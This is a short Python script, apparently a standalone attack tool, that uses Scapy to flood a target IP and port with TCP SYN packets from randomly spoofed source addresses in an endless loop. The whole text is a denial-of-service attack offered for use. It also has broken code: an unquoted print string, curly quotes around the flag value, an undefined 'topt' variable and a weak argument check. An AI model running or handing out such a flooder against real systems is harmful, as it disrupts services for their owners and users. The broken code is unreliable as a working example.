python scapy syn flood

from scapy.all import *
import sys, random

if len(sys.argv) < 2:
    print "Usage: syn.py <ip> <port>"
    sys.exit()

host = sys.argv[1]
port = int(sys.argv[2])
print Flooding
while True:
    s="%i.%i.%i.%i" % (random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254))
    ipheader = IP(dst=host,id=1111,ttl=99,src=s)
    syn = TCP(sport=RandShort(),dport=port,seq=12345,ack=1000,window=1000,flags=”S”,options=topt)
    message = "SYN Flooding"
    packet = ipheader/syn/message
    send(packet,inter=0.1,count=1)